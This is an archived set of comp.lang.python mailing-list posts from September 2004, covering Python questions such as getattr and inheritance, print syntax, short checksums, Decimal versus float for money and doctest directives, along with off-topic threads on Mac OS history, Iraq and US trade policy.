<10ljshapfl2nbd8@corp.supernews.com> Message-ID: <1nkkl01lq8k0dpl6gkltn1hq2rdchj9m1t@4ax.com> On Tue, 28 Sep 2004 19:30:35 -0400, Phil Frost wrote: >the unary + is just for symmetry with the >unary '-'. I was bitten in my first python program by writing ++x :-) Andrea From heikowu at ceosg.de Thu Sep 9 17:07:49 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 9 Sep 2004 23:07:49 +0200 Subject: Is except: ... pass bad style? In-Reply-To: References: Message-ID: <200409092307.49506.heikowu@ceosg.de> Am Donnerstag, 9. September 2004 19:56 schrieb marduk: > myobj.__dict__.get('method', lambda : None)() This won't work when inheritance is in play. See for yourself: >>> class x(object): ... def method(self): ... return "I was called!" ... >>> class y(x): ... pass ... >>> a = y() >>> a.method() 'I was called!' >>> a.__dict__.get("method",lambda: None)() >>> a.__dict__.get("method") So, use getattr, which properly walks the inheritance tree: >>> getattr(a,"method",lambda: None)() 'I was called!' Heiko. From chrisNOSPAM at spam.com Mon Sep 13 04:56:57 2004 From: chrisNOSPAM at spam.com (Chris) Date: Mon, 13 Sep 2004 10:56:57 +0200 Subject: launching JCL on MVS Message-ID: <1095065818.428799@ftpgate> Is it possible to use Python to launch JCL jobs on an IBM MVS HOST (OS390) ? From mattjensen at timetospare.net Fri Sep 3 01:40:05 2004 From: mattjensen at timetospare.net (Matthew K Jensen) Date: 2 Sep 2004 22:40:05 -0700 Subject: Help req: py2exe's compiled executables only working with XP References: <173c23bb.0408282105.4cd76e07@posting.google.com> <153fa67.0408290602.10b80c47@posting.google.com> <173c23bb.0409011956.56aa222d@posting.google.com> Message-ID: <173c23bb.0409022140.5cda71a8@posting.google.com> JanC wrote in message news:... > Matthew K Jensen schreef: > > > I guess I should describe the problem more. When I go to execute, > > nothing visibly happens. > > Did you try running them from a console (cmd.exe or command.com)? Yes, same problem. From cbuffer at NOSPAMrosecott.ukfsn.org Mon Sep 13 17:44:15 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Mon, 13 Sep 2004 22:44:15 +0100 Subject: #comments References: <4146117c$0$7601$636a15ce@news.free.fr> Message-ID: On Mon, 13 Sep 2004 21:30:36 +0000, F. Petitjean wrote: > On 13 Sep 2004 22:27:32 Ken Parkes > wrote: >> Hi, >> New to this game. Have tried the following. >> >> data=raw_input("Type something ") # spaces after "something" >> myInput=data >> print "You typed " myInput # and again > print "You typed ", myInput # and again # note the comma >> print "The fourth character is "myInput[3] # and again > print "The fourth character is ", myInput[3] # and again # same >> >> When I run it in the shell I get error warnings for the second comment ( >> actually pointing to the t of myInput ) If I remove the comment I get >> one for the third comment. What is wrong please? > The print statement is : > print item1, item2 .... Ah, I see, thank you for that. A follow up please. Do you see the last line beginning with < print "The fourth..... > ? Pan is chopping the lines up on my monitor. Thanks Ken. From martin at v.loewis.de Fri Sep 3 22:03:26 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 04 Sep 2004 04:03:26 +0200 Subject: Uninstall speed with Python 2.4 MSI In-Reply-To: References: Message-ID: <41392269$0$13018$9b622d9e@news.freenet.de> David Bolen wrote: > I'm in the process of uninstalling 2.4a2 to install 2.4a3 and the > uninstall is running absolutely dog slow and burning 100% cpu while > doing it (all going to mshta.exe). Watching the progress bar it > almost seems to be doing a whole bunch of operations per file or > something. Indeed it does. MSI is transactional, meaning that everything is reverted if the operation fails (e.g. through user cancel). When overwriting or deleting files, this means installer needs to move the old file out of the way. Then, when the action is committed, the file can be deleted. Therefore, during uninstall, you see two actions: first, it says that it removes files, then, it says that it removes backup files. Regards, Martin From proto at panix.com Thu Sep 16 01:00:13 2004 From: proto at panix.com (Walter Bushell) Date: Thu, 16 Sep 2004 01:00:13 -0400 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <877jrcjy1n.fsf@thalassa.informatimago.com> Message-ID: In article <877jrcjy1n.fsf at thalassa.informatimago.com>, Pascal Bourguignon wrote: > "John Thingstad" writes: > > Note the Mac OS 10 / Darwin uses a unix kernel because of all the > > problems with > > interoperabillity OS 9 had with talking to Windows and Unix boxes. > > No that's not the reason. The reason is ONLY because of the lack of > virtual memory management (with separation of addressing spaces for > processes) in MacOS. That's the one error in design in MacOS I > identified in version 1.0 that they've dragged all along for 20 > years. (And I bet that if they did not make it, AAPL would be $50-$80 > now, and they'd have at least 40%-50% of market share). Instead, > they've wasted resources, CEOs and CTOs for 10 years before the NeXT > take over. NeXT took over Apple. Yes, that is the way it was except for the fiscal realities. -- Guns don't kill people; automobiles kill people. From zathras at thwackety.com Sat Sep 18 07:14:01 2004 From: zathras at thwackety.com (Michael Sparks) Date: Sat, 18 Sep 2004 12:14:01 +0100 Subject: Microthreads without Stackless? References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> Message-ID: <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> Bryan Olson wrote: > David Mertz, Ph.D. wrote: ... > > Yeah... I know Bryan thinks that's a problem. Mostly because he > > doesn't actually know what a coroutine is. But it's true that the > > scheduled coroutines I present in the mentioned article are always > > "flat" (hmm... didn't I read somewhere that: "Flat is better than > > nested"?) > > Any chance, at this point, that I could get forgiveness for my > tone, yet continue the discussion? For what it's worth, I'm genuinely curious as to the answer to the question I posed you - even/especially if it is "no, greenlets aren't what I'm after" and why. Including for example practical rather than technical reasons - after all as far as I'm aware there isn't a standalone package, and I've no idea if Armin Rigo intends to support it as such. Regards, Michael From xv0017python at yahoo.com Mon Sep 20 13:06:01 2004 From: xv0017python at yahoo.com (vegetax vegetax) Date: Mon, 20 Sep 2004 10:06:01 -0700 (PDT) Subject: new python book!! Message-ID: <20040920170601.65899.qmail@web61204.mail.yahoo.com> Well , this looks like a very very interesting book , i am definitly going to buy it : http://www.apress.com/book/bookDisplay.html?bID=363 I think we need more updated python books, most of them are from version 2.1 or 2.2 , if you have some other book covering python 2.3, post the link here. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From gandalf at geochemsource.com Thu Sep 2 15:08:06 2004 From: gandalf at geochemsource.com (Gandalf) Date: Thu, 02 Sep 2004 21:08:06 +0200 Subject: Tuple question In-Reply-To: <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Message-ID: <41376F96.4080700@geochemsource.com> > Please see these recent threads, and read the FAQ: > > http://groups.google.ca/groups?threadm=mailman.2685.1093979591.5135.python-list%40python.org This is from that thread: >Note that while .index() makes sense for some sequences, >such as strings and lists, it doesn't make sense for the >way in which tuples are "supposed to be used", which is >as collections of heterogeneous data and not usually as >simply read-only lists. Why it is not useful to have an index() method for collections of heterogeneous data? Suppose, you have big amount of data stored in tuples (for using less memory). You may want to extract slices from the tuploes from a given index determined by an object. This is just an example, however it is quite realistic (e.g. using tuples instead of lists because there is a huge amount of static data that you need to access quickly). From max_russell2000 at yahoo.co.uk Wed Sep 29 04:18:17 2004 From: max_russell2000 at yahoo.co.uk (Max Russell) Date: Wed, 29 Sep 2004 09:18:17 +0100 (BST) Subject: (no subject) Message-ID: <20040929081817.22251.qmail@web25403.mail.ukl.yahoo.com> Is this the wrong list for tutorials? If so can someone point me at the correct one so Ic an subscribe to that instead? ___________________________________________________________ALL-NEW Yahoo! Messenger - all new features - even more fun! http://uk.messenger.yahoo.com From me at privacy.net Fri Sep 24 02:12:49 2004 From: me at privacy.net (Richard Hanson) Date: Thu, 23 Sep 2004 23:12:49 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: <07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com> Jack Diederich wrote: > On Thu, Sep 23, 2004 at 05:53:16PM -0700, Richard Hanson wrote: > > > Ksenia Marasanova wrote [about my project's "code-name"]: > > > > > Just be aware, there is also a Mac program called Pathfinder, in case > > > you wanted to keep the name... > > > > [...] > > > > (I've already thought of Doors... -- doors are more useful than > > windows, aren't they? ;-) ) > > Hmm, you could go with Daleth, the Hewbrew letter that means Door. > A glance at the first google page shows no software with that moniker. > As a logo it isn't terribly sexy, but you could work on it (the current > trend seems to be dropshadow, dropshadow, dropshadow). It also sounds > vaugely "Dr Who." As I just replied to David Lees -- I didn't signal adequately that I was not soliciting names for the project at this juncture, but was merely attempting some levity. :-) I *should* have realized from the recent "naming threads" what might happen... -- my bad! :-p However, I *like* Daleth -- you're right, it is a bit Dr Who-ish. Thanks! Non-English words will be a fruitful pool to fish for names in -- when the time comes. oops!-now-I've-done-it'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From pfortin at pfortin.com Thu Sep 16 10:10:35 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 16 Sep 2004 10:10:35 -0400 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <20040915212023.23b6fe0b@gypsy.pfortin.com> Message-ID: <20040916101035.057e2bb4@gypsy.pfortin.com> On Thu, 16 Sep 2004 09:24:16 +0200 Peter wrote: > Pierre Fortin wrote: > > >> > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"], > >> > os.stat("%s" % path))) > > > > What does zip() have to do with this situation...? > > It combines the items in the names list with the os.stat() result tuple > to a list of (name, value) pairs that are then used to initialize the > dictionary. For example: > > >>> name_value_pairs = zip(["name1", "name2", "nameN"], ["va11", "val2", > "valN"]) > >>> name_value_pairs > [('name1', 'va11'), ('name2', 'val2'), ('nameN', 'valN')] > >>> dict(name_value_pairs) > {'nameN': 'valN', 'name2': 'val2', 'name1': 'va11'} Ah... your former example wasn't as obvious since "mode,inode...." was a single string and produced different results... Hadn't seen zip before now and thought it was a compression thingy... :> > >> Why build the dictionary at all. Use the named attributes provided > >by> os.stat: > >> > >> mode = os.stat(f).st_mode > >> > >> That should meet the original readability goals. > > > > That'll teach me to use examples that already have named attributes... > > :^) I'm looking to do this generically -- ignore the few that do have > > named attributes; there are plenty without that I'd like to address... > > > > The goal is to use the dict in string mapping keys as indicated in my > > original post. > > You can still do that while relying on the existing names: True... but again, my point is that this was a bad example... I'm looking to use the concept where there are no "existing names" > Peter Thanks, Pierre From askari at addressNonValide.com Fri Sep 24 15:57:53 2004 From: askari at addressNonValide.com (Askari) Date: Fri, 24 Sep 2004 19:57:53 GMT Subject: Module Pygame - "FadeOut" text References: Message-ID: "Terry Reedy" wrote in news:mailman.3868.1096052483.5135.python-list at python.org: > > "Askari" wrote in message > news:Xns956E4F8F8C192askariaddressNonVali at 207.35.177.135... >> (Help for Pygame module) > > There is a separate mailing list for Pygame, a third-party package. > It can be accessed as a newsgroup via news.gmane.org > as gmane.comp.python.pygame. > > Terry J. Reedy > > > > I DON'T WANT use this mail list! I don't want subscribe anythink for this info! ... News group "comp.lang.python" is the best place that I find with no subcribtion! Understand Terry! (it's not the first time that you send that message) And why I can't request info for a third-party package on this group? It's python, a "third-party package", yes, but it's too python... :-| Askari From lynn at garlic.com Sat Sep 11 00:26:20 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 10 Sep 2004 22:26:20 -0600 Subject: Xah Lee's Unixism References: <413f6044.512285562@News.individual.net> <1712.747T640T11304157@kltpzyxm.invalid> Message-ID: "John W. Kennedy" writes: > There was also an OS/360 version, but it was never as popular, since > A) OS/360 console operators are usually busy enough and B) IEBGENER > wasn't all that hard to use. > > And, yes, there was a similar early program called DEBE. similar to the stand-alone, self-loading (bootable) DEBE was LLMPS ... lincoln labs multiprogramming system .... which was self-loading program with small multitasker and most of the feature/functions provided were similar to DEBE. the folklore is that LLMPS was also used as the core scaffolding for MTS (michigan terminal system) ... misc. ref to LLMPS manual: http://www.garlic.com/~lynn/2000g.html#0 TSS ancient history, was X86 ultimate CISC? designs) random other refs to LLMPS http://www.garlic.com/~lynn/93.html#15 unit record & other controllers http://www.garlic.com/~lynn/93.html#23 MTS & LLMPS? http://www.garlic.com/~lynn/93.html#25 MTS & LLMPS? http://www.garlic.com/~lynn/93.html#26 MTS & LLMPS? http://www.garlic.com/~lynn/98.html#15 S/360 operating systems geneaology http://www.garlic.com/~lynn/2000.html#89 Ux's good points. http://www.garlic.com/~lynn/2001m.html#55 TSS/360 http://www.garlic.com/~lynn/2001n.html#45 Valid reference on lunar mission data being unreadable? http://www.garlic.com/~lynn/2001n.html#89 TSS/360 http://www.garlic.com/~lynn/2002n.html#54 SHARE MVT Project anniversary http://www.garlic.com/~lynn/2002n.html#64 PLX http://www.garlic.com/~lynn/2003f.html#41 SLAC 370 Pascal compiler found http://www.garlic.com/~lynn/2004d.html#31 someone looking to donate IBM magazines and stuff -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From aleaxit at yahoo.com Wed Sep 22 12:35:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 18:35:44 +0200 Subject: Why not FP for Money? References: <1l23l01tkbhssc4uh72fps5u9o6ijc2t4f@4ax.com> Message-ID: <1gkj1fd.1s0j05667twjjN%aleaxit@yahoo.com> Christos TZOTZIOY Georgiou wrote: ... > amount= tp(repr(amount)) > vat= amount * tp('0.18') > total= amount + vat ... > import decimal > quote(decimal.Decimal) > quote(float) > > Run it with Python 2.4. See what goes wrong? Put the numbers in an > Excel sheet too. The problem is pretty clear, but it shows up with decimal just as well as with float: each of 'amount' and 'vat' (in Euro) has a fraction of a eurocent that is less than 0.5 (about 0.4 eurocents each), and you don't round them to eurocents before summing, so the total ends up with a fraction of a eurocent that is _more_ than 0.5. So the final numbers show, identically badly with both decimals and floats: Amount: USD 2025.00 EUR 1710.30 Vat : USD 364.50 EUR 307.85 Total : USD 2389.50 EUR 2018.16 where the 1-eurocent discrepancy between 'Total' and the easily eyeballed 'Amount'+'Vat' shows up quite nastily. (A case of "2+2 DOES equal 5, for sufficiently large values of 2", to quote Anna [presumably quoting somebody else...]). > Of course, one can take extra precautions to always have correct numbers > when working with floats and monetary amounts (eg. I did that for the > Excel sheet the sales dpt used). Why bother, though, if one has the > Decimal type? It seems to me that you just showed that decimal is no panacea: you still have to know where to round and to which precision. decimal is a great tool but is not and cannot be a magic wand... Alex From this at is.invalid Thu Sep 9 04:44:03 2004 From: this at is.invalid (Mercuro) Date: Thu, 09 Sep 2004 08:44:03 GMT Subject: Shorter checksum than MD5 Message-ID: Hello i'm looking for a simple way to checksum my data. The data is 70 bytes long per record, so a 32 byte hex md5sum would increase the size of my mysql db a lot. I'm looking for something that is 5 bytes long, for the moment i'm just taking a part of the hex md5 sum (like this: checksum = md5sum[3:8]). I don't have any duplicates, and I have over 100000 records, but i'm not sure for the future... Can anybody give me something better? Or point me to some website? thx!! PS: I use this checksum to periodically compare 2 versions of this DB, which are on 2 sides of a slow internet connection. My hope is to keep down unneeded traffic between the 2 servers. From dave at pythonapocrypha.com Thu Sep 9 14:05:38 2004 From: dave at pythonapocrypha.com (Dave Brueck) Date: Thu, 09 Sep 2004 12:05:38 -0600 Subject: declare a constant in Python? In-Reply-To: <3064b51d.0409090812.46ee0477@posting.google.com> References: <3064b51d.0409090812.46ee0477@posting.google.com> Message-ID: <41409B72.5000700@pythonapocrypha.com> beliavsky at aol.com wrote: > I wish one could declare a constant in Python, analogous to 'const int > i=1;' in C++. Is there a way to get this effect? With a bit of work, yes - Google will turn up some recipes for it. It's basically never worth the effort because in practice it offers no advantage over just a naming convention (i.e. nobody accidentally rebinds their values, so doing that extra work doesn't provide any practical benefit). -Dave From grante at visi.com Tue Sep 21 10:36:28 2004 From: grante at visi.com (Grant Edwards) Date: 21 Sep 2004 14:36:28 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> <414fa1ec$0$63273$a1866201@newsreader.visi.com> Message-ID: <41503c6c$0$60645$a1866201@newsreader.visi.com> On 2004-09-21, Richard Brodie wrote: >> Strictly speaking, the only MAC that is "valid" according to >> the IEEE spec is the one the manufacturer put into it. However, >> as long as you pick a MAC address that's not one of the special >> ones (broadcast or multicast addresses), you can probably just >> pick one at random. > > Actually, you can legitimately set the 'locally administered address' > bit (the second bit on the wire). Then you have 2^46 addresses > to play with. You're right. I forgot about. That's probably the best choice. Is there a good way to determine if an address is already in use? Maybe a RARP request sent requesting the IP address for the the MAC address you're considering using? -- Grant Edwards grante Yow! I'm dressing up in at an ill-fitting IVY-LEAGUE visi.com SUIT!! Too late... From aleaxit at yahoo.com Sun Sep 5 16:26:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 22:26:28 +0200 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> <1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com> Message-ID: <1gjnvex.do4p2g1xm9ts0N%aleaxit@yahoo.com> Tim Peters wrote: > IGNORE_EXCEPTION_DETAIL directive. Then, e.g., this doctest passes > under 2.3.4 and 2.2.3, and will also pass in 2.4: > > >>> (1, 2)[3] = 'moo' #doctest: +IGNORE_EXCEPTION_DETAIL > Traceback (most recent call last): > File "", line 1, in ? > TypeError: object doesn't support item assignment > > Since doctest directives didn't exist before 2.4, earlier Pythons view > them as comments, and insist on exact match. 2.4 will still insist on > seeing a TypeError, but won't care that "doesn't" has changed to "does GREAT solution! > not" (or, for that matter, won't care if the actual detail is > "Congratulations, Anna and Alex!"). Heh -- thanks! > After Pythons prior to 2.4 become uninteresting, a less forgiving test > can be gotten via, e.g., > > >>> (1, 2)[3] = 'moo' #doctest: +ELLISPSIS Wow -- typo-tolerant, too?-) > Traceback (most recent call last): > File "", line 1, in ? > TypeError: object does... support item assignment Right, unless 2.5 changes the error text to "objects of type tuple do not support item assignment" or some other clarificatory rewording, of course:-). In practice, my doctests that are meant to survive across Python releases will become heavy users of IGNORE_EXCEPTION_DETAIL!-) Alex From jerf at jerf.org Mon Sep 6 21:23:28 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 07 Sep 2004 01:23:28 GMT Subject: ANN: WxInter References: Message-ID: On Mon, 06 Sep 2004 15:55:30 -0700, Ed Suominen wrote: > WxInter is a drop-in replacement for TkInter, providing user-transparent > wxPython-based replacements for each and every part of the Tkinter class > library. Because wxPython can do anything that the ancient and stagnant > TkInter can do (but with a themable, modern window appearance), legacy code > will still run, looking better than ever, and Python's last connection to > the Tcl/TK albatross will be forever broken. > > OK, I just made all this up. But why couldn't it happen? I'd even be tempted > to code it myself, but I'm sure others with some wxPython experience could > do it much faster and better. Well, it would break my app. The TKInter text widget is better than what the wxWindows text widget can provide for me; I tried. It still isn't perfect but at least I can pound it into submission. TkInter and wxWindows have a lot of overlap, but there are things each can do the other can't. wxWindows has a *lot* more widgets, and themes more nicely, but TkInter has a *very* mature widget set; what it has is sometimes quirky but very solid. You will not be able to provide a 100% drop in without a lot of work wxWindows itself on several platforms. From roo at try-removing-this.darkboong.demon.co.uk Sun Sep 12 06:20:57 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Sun, 12 Sep 2004 11:20:57 +0100 Subject: Xah Lee's Unixism References: <41431d5f$0$6923$61fed72c@news.rcn.com> <10k68j0lqorgqdf@corp.supernews.com> Message-ID: <1094984458.94479@teapot.planet.gong> keith wrote: > On Sat, 11 Sep 2004 16:05:52 +0000, SM Ryan wrote: [SNIP] >> Iraq had nothing to do with terrorism > > Bullshit. It may have had nothing to do with 9/11, but only the infirm > would believe Iraq had nothing to do with terrorism. Show me the hard evidence. All I've seen are word association games. I'm sure you would expect me to provide evidence if I accused the US of harbouring convicted terrorists. The US reminds me of Ronnie's "Evil Empire" at the moment. :( -- Cheers, Rupert From aleaxit at yahoo.com Thu Sep 9 12:41:41 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 18:41:41 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <5d83790c.0409081810.613e44af@posting.google.com> <1gjuaww.xljr4bbmtlk9N%aleaxit@yahoo.com> <5d83790c.0409090744.66eb2fa0@posting.google.com> Message-ID: <1gjuzj3.uqfs5aha20wkN%aleaxit@yahoo.com> Raymond Hettinger wrote: ... > For clarity and conciseness, Alex's version wins easily. For running > speed, dis.dis() shows how the second has a simpler, more efficient > inner loop: > > [Alex's compact version] > >> 25 LOAD_FAST 1 (a) > 28 JUMP_IF_FALSE 14 (to 45) > 31 POP_TOP > 32 LOAD_GLOBAL 4 (heappop) > 35 LOAD_FAST 1 (a) > 38 CALL_FUNCTION 1 > 41 YIELD_VALUE > 42 JUMP_ABSOLUTE 25 > > [try/except version with localized call] > 7 >> 34 LOAD_FAST 2 (pop) > 37 LOAD_FAST 1 (a) > 40 CALL_FUNCTION 1 > 43 YIELD_VALUE > 44 JUMP_ABSOLUTE 34 Heh -- neat. According to timeit.py, on a random.shuffle'd range(1234), on my machine (iBook G4 800), my version takes about 6.2 milliseconds per loop; RH's takes 5.8; and my version with the 'pop=heappop' optimization trick, about 6. So, half of RH's version gains are in the usual optimization trick (so delightfully eased by his own decorator posted on the Cookbook, BTW), half are due to the slimmer, neater inner loop bytecode. While in this case a 3% speedup is probably no big deal, I guess there may be cases in which it matters -- and Raymond shows us all how to squeeze those few last %'s of optimization. Of course, I _am_ now fully convinced that the alleged Raymond Hettinger is actually the raybot, an enhanced version of the timbot -- after all, have YOU ever seen Tim and RH in the same room at the same time?! Anyway, my hat's off to a true master of optimization! Alex From aleaxit at yahoo.com Sat Sep 25 04:35:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 10:35:30 +0200 Subject: Don't let your babies grow up to be programmers References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> Message-ID: <1gknx0k.m09llxutwktbN%aleaxit@yahoo.com> Arthur wrote: ... > But what I haven't been quite able to grasp is the basis for the > sentiment of "Globalization" as a dirty word, with the U.S. (and its > evil corporations - as if corporations were something other than an > organizational structure for goal oriented human endeavor) assigned Try Stiglitz's bestseller, "Globalization and Its Discontents" -- the author's towering stature helps. The book focuses more on the role of institutions such as the IMF, US-dominated though technically international, rather than on private corporations or US's protectionism, though (the aspects are connected, of course, but not as directly and immediately as an oversimplification might suggest). > I don't think, for example, the U.S. is aggressive at all in > protecting its markets with subsidies or trade barriers. If anything I do, and it appears to me that such bodies as NAFTA and WTO agree. The US's so-called "antidumping" policies are a particular bone of contention. NAFTA's panel recently decreed, after a fight that lasted years, that there is no subsidy of Canada's soft wood exports to the US, so the US long-standing antidumping duties were illegal. The US Dept of Commerce basically agreed (they won't appeal, they say) -- but the duties remain. I'm surely not the only observer to see this as the behavior of a playground bully: what's Canada gonna do about it, take a clue from the South Park movie?! In such a case the US is basically stating, "we're the 500-pounds gorilla, rules apply to lesser countries, not us, so there". And that's wrt their closest neighbor and friend -- AND for incredibly myopic reasons too. Canada's cheap wood obviously HELPS crucial US industries such as construction (US house construction uses MUCH more wood than we do in Europe)... but the wood-loggers' lobby is strong enough in a key swing state, Oregon (and to some extent Washington, too, I believe), to perhaps swing the next presidental election, if it's as close as many think... so, forget the rules and all the nice words, might makes right. _Some_ US observers are clear-sighted enough to see how much hate this kind of behavior builds up in the world over the years. But obviously not enough. The cases of cotton and sugar, with subsidies and help from tariffs amounting to over 100,000 dollars per each of the few thousands of lucky US cotton and sugar growers who benefit from it, are other good examples. They're likely to end up in front of the WTO, but it doesn't really matter because there, for once, the US isn't even _claiming_ an antidumping issue. Similarly for the huge hidden subsidy to growers of fruit and even rice (!) in the parched fields of Southern California in terms of essentially free water in ridiculous quantities (that's unlikely to become a trade/subsidy issue, but with good water growing scarcer in the region it's been causing tension with Mexico for a while, and the tension is growing) - and at a time when millions of Californian in cities have had problems with water scarcity, too. In each case, the US does damage to its international "public relation", to the cause of free trade, AND to a large number of its citizens, in order to lavish largesse on small, lucky, politically powerful lobbies. The pattern keeps repeating. Consider the "steel antidumping tariffs" that your President imposed, then removed -- they damaged your ailing manufacturing sector (cars and other machinery foremost) and a part of the construction industry (for those buildings that use substantial amounts of steel) much more than they helped steel smelters who were in any case being revived by such strokes of luck as China's insatiable appetite for steel (which raises worldwide steel prices). The WTO had little trouble in decreeing that there was absolutely no dumping involved, i.e., as usual, the US was brandishing "anti-dumping" as an excuse to play internal electoral politics -- what distinguished this case was that the political calculations were wrong (the votes to be won by sucking up to steel producers are in fact fewer than those to be lost by seriously enraging the manufacturing sector -- both constituencies being concentrated in the mid-west, more or less). > there is the argument that the U.S. should perhaps be doing more in > protecting its markets from goods being produced overseas at > artificially low costs as a result of implicit or explicit subsidies > being provided in the originating country. Yeah, right. Tell that to the WTO and NAFTA panels which keep finding out (over and over and OVER again) that US "antidumping" is invariably barely veiled protectionism. > But being generally > liberal on these kinds of issues seems, at this time, to set the right > leadership tone, and seems to be working - so there is generally a > let-it-be attitude. You appear to be unaware of the ill-will and even hate that such issues as your protectionist attacks against, e.g., Canadian wood, etc, generate in the countries you thus attack. > The U.S. in anything but the heavy in *my* story. The US's glaring faults do not mean that other countries are blameless, far from it. Agricultural subsidies and barriers in Japan and Europe are horrid, and, again, they damage their own citizens as well as international trade, all to help a few favourites. And all sorts of barriers are highest (and most damaging to their own citizens) in poor countries, mostly against primary goods produced in other poor countries. But, e.g., Kenya's absurd tariffs against maize didn't tend to raise international alarm, even though they starved poor children (even worse than adults) in Turkana or Baringo -- apart from a few of us crazies who READ the FAO reports, most people around the world didn't even _hear_ about the whole issue. And the trend in Japan and Europe appears to be improving (in fits and starts, admittedly, and there may be regression now that the EU has been joined by one large country with MANY agricultural-based voters, Poland), while the US trend with the present administration seems definitely negative. (The Clinton administration _spoke_ with a lot of bluster and rhetoric that often sounded anti-free-trade, which may have helped it in internal politics but surely damaged international perception of the US, but its actual _actions_ overall were more favourable than damaging to free trade). > Is it just that I am a neo-Dadaist PolyAnna? Your perception appears to be congruent with that of the mass of US voters. But try reading, e.g., the Economist magazine for a few years: it's one source which you definitely can't suspect of a-priori anti-americanism or anti-capitalism, but DOES wave an unfailing banner for free trade (the magazine was founded to champion free trade in the 19th century, and on that one aspect it has never wavered). The news and analyses you will read there may help you see the different perspectives from which others see US behavior -- particularly interesting, I hope, as being based on actual facts and sound economic analysis, as opposed to the instinctive anti-Americanism that one can observe in so many places. Alex From ksenia at ksenia.nl Fri Sep 3 17:56:32 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Sat, 4 Sep 2004 00:56:32 +0300 Subject: age of Python programmers In-Reply-To: <864d3709040903055719060a0b@mail.gmail.com> References: <889cbba0.0408181206.1812881c@posting.google.com> <6amZc.17353$ni.8118@okepread01> <822221bb04090109167035d328@mail.gmail.com> <4edc17eb.0409022018.27a96821@posting.google.com> <864d3709040903055719060a0b@mail.gmail.com> Message-ID: <1E007CB6-FDF4-11D8-8653-000A957911BC@ksenia.nl> > I miss some of the excitement of doing then-incredible things. But no, > thanks, I don't want to go back in time :-) > The most exciting thing I did then was drawing on the mainframe punch cards at the age of 8. The punch cards were brought from the work by my aunt special for my drawing needs, and the sport was to find a card with least holes in it. ;P Ksenia From FBatista at uniFON.com.ar Wed Sep 22 12:02:30 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 22 Sep 2004 13:02:30 -0300 Subject: Why not FP for Money? Message-ID: [Carlos Ribeiro] #- Beware! Floating point errors may bite you *even for non-fractional #- numbers*. Once the number of significant digits is bigger than the #- precision of the mantissa, there will be automatic scaling of values, #- dropping the least significant digit(s). Depending on the floating #- point representation (single, double or extended, just to mention the #- most common ones), this error will happen with numbers of different #- magnitudes (from ~7 to ~19 significant digits, depending upon the #- internal representation, if I remember it well). This error is #- particularly nasty if you're repeatedly summing large quantities with #- small ones. And you can not change the precision of your processor's FPU. But you can change it in Decimal: >>> 1e10+1e-10 10000000000.0 >>> decimal.Decimal("1e10")+decimal.Decimal("1e-10") Decimal("10000000000.0000000001") >>> decimal.Decimal("1e20")+decimal.Decimal("1e-20") Decimal("100000000000000000000.0000000") >>> decimal.getcontext().prec=50 >>> decimal.Decimal("1e20")+decimal.Decimal("1e-20") Decimal("100000000000000000000.00000000000000000001") . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From alban at magproductions.nl Mon Sep 27 10:21:07 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Mon, 27 Sep 2004 16:21:07 +0200 Subject: 